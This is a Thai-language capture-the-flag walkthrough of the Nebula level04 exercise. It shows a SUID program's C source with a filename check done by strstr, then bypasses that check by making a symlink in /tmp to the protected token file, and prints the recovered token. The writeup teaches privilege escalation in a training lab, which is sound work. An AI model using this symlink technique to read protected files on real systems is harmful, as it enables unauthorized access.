How to bypass the filename filter to execute the SUID file – Nebula 04

บทนำ (Overview)

บทความนี้วัตถุประสงค์คือให้เราเปิดอ่านไฟล์ที่เราไม่มีสิทธิให้ได้ แต่เนื่องจากเราไม่มีสิทธิในการเปิดอ่านไฟล์จึงจำเป็นต้องหาโปรแกรมที่มีสิทธิในการเปิดอ่านไฟล์เปิดอ่านแทน แต่โปรแกรมดังกล่าวก็เขียนป้องกันชื่อไฟล์ที่เราต้องจำอ่านเอาไว้ด้วย วิธีแก้ไขคือการเปลี่ยนชื่อไฟล์ แต่เราไม่สามารถทำอย่างนั้นได้ จึงใช้วิธีสร้าง “Link” ให้ชื่อแตกต่างจากชื่อไฟล์ และชี้ไปยังไฟล์ต้องการเปิดอ่านจากนั้น ให้โปรแกรมมาอ่านชื่อ “Link” แทนดังต่อไปนี้

ขั้นตอน (Steps)

  1. ดาวน์โหลด “VM” ได้จาก https://exploit-exercises.com/download/
  2. “Login” โดยใช้ “User” คือ “level04” และ “Password” คือ “level04”
  3. โดยวัตถุประสงค์ให้เราพยายามอ่านไฟล์ token ให้ได้
  4. เมื่อ “login” เข้าไปแล้วให้ตรวจสอบ “permission” ของ โฟลเดอร์ “flag04” ดังนี้
    ls -l
    total 8
    -rwsr-x--- 1 flag04 level04 7428 2011-11-20 21:52 flag04
    -rw------- 1 flag04 flag04    37 2011-11-20 21:52 token
    
  5. จาก “permission” ดังกล่าวเราจะพบว่า
    1. ตอนนี้ “login” ของเราคือ “level04”
    2. สามารถ “run” ไฟล์ “flag04” ได้
    3. ทดลอง “run” ไฟล์ดังกล่าวพบว่า
      ./flag04 
      ./flag04 [file to read]
      
    4. โปรแกรมบอกให้เราระบุไฟล์ที่จะต้องการอ่าน ซึ่งก็คือไฟล์ “token” ตามโจทย์ที่ให้ไว้ ทดลองใช้งานตามโปรแกรมกล่าวไว้
      ./flag04 token
      You may not access 'token'
      
    5. ที่นี้เราจะลองเข้าไปอ่านไฟล์ตรง ๆ ก็ไม่ได้ เพราะว่าไม่มีสิทธิดังนี้
      cat token
      cat: token: Permission denied
      
    6. อย่างไรก็ตามเราพบว่า “level04” สามารถอ่านไฟล์ดังกล่าวผ่านโปรแกรม “flag04” เนื่องจาก ตั้ง “SUID” -rwsr-x—
      -rwsr-x--- 1 flag04 level04 7428 2011-11-20 21:52 flag04
      
  6. จากเรื่อง “permission” ข้างต้นพบว่าจริง ๆ แล้วเมื่อเรา “Run” ตัวโปรแกรมน่าจะอ่านไฟล์ token ได้จึงต้องมีอุปสรรคอะไรขวางกั้นเอาไว้ และจากโจทย์ได้เตรียม “source-code” มาให้เราวิเคราะห์ดังนี้ https://exploit-exercises.com/nebula/level04/
    int main(int argc, char **argv, char **envp)
    {
      char buf[1024];
      int fd, rc;
    
      if(argc == 1) {
          printf("%s [file to read]\n", argv[0]);
          exit(EXIT_FAILURE);
      }
    
      if(strstr(argv[1], "token") != NULL) {
          printf("You may not access '%s'\n", argv[1]);
          exit(EXIT_FAILURE);
      }
    
      fd = open(argv[1], O_RDONLY);
      if(fd == -1) {
          err(EXIT_FAILURE, "Unable to open %s", argv[1]);
      }
    
      rc = read(fd, buf, sizeof(buf));
      
      if(rc == -1) {
          err(EXIT_FAILURE, "Unable to read fd %d", fd);
      }
    
      write(1, buf, rc);
    }
    
    
  7. ค่อย ๆ อ่านทีละเงื่อนไขดังนี้ เงื่อนไขแรกกล่าวถึงว่า ถ้ามีเพียง อาร์กิวเมนต์แรก คือการเรียกใช้ชื่อโปรแกรมให้แสดงข้อความ “file to read” จากนั้นออกจากโปรแกรม
    if(argc == 1) {
          printf("%s [file to read]\n", argv[0]);
          exit(EXIT_FAILURE);
      }
    
  8. ถ้าใน อาร์กิวเมนต์ ที่ “2” มีคำว่า “token” ให้แสดงคำว่า  “You may not access” แล้วออกจากโปรแกรม สังเกตุฟังก์ชันที่ชื่อ “strstr” จะคำว่า “token” โดยถ้ามีค่า “return” กลับมาที่ไม่ใช้ “Null” แสดงว่าชื่อไฟล์มีคำว่า “token” นั้นเอง
      if(strstr(argv[1], "token") != NULL) {
          printf("You may not access '%s'\n", argv[1]);
          exit(EXIT_FAILURE);
      }
    
  9. พอมาถึงตรงนี้เรา วิธีแก้ก็คือเปลี่ยนชื่อโปรแกรมจาก “Token” เป็นชื่ออื่นแทนก็น่าจะอ่านไฟล์ได้ แต่เนื่องจากสิทธิไม่ถึงจึงไม่สามารถเปลี่ยนได้ตรง ๆ
    -rw------- 1 flag04 flag04    37 2011-11-20 21:52 token
    
  10. ดังนั้นสิ่งที่พอจะทำได้คือการสร้าง “Link” 1 ไฟล์ จากนั้นให้ชี้ไปยังไฟล์ “token” และใช้งานโปรแกรม “flag04” เพื่อเรียกไฟล์ “link” แทนดังนี้ เราจะสร้าง link ไว้ที่โฟลเดอร์ที่มีสิทธิเขียน ยกตัวอย่างเช่น /tmp
    ln -s /home/flag04/token /tmp/link
    ls -l /tmp/link
    lrwxrwxrwx 1 level04 level04 18 2017-02-12 02:59 /tmp/link -> /home/flag04/token
    level04@nebula:/home/flag04$ ./flag04 /tmp/link
    06508b5e-8909-4f38-b630-fdb148a848a2
    

ใส่ความเห็น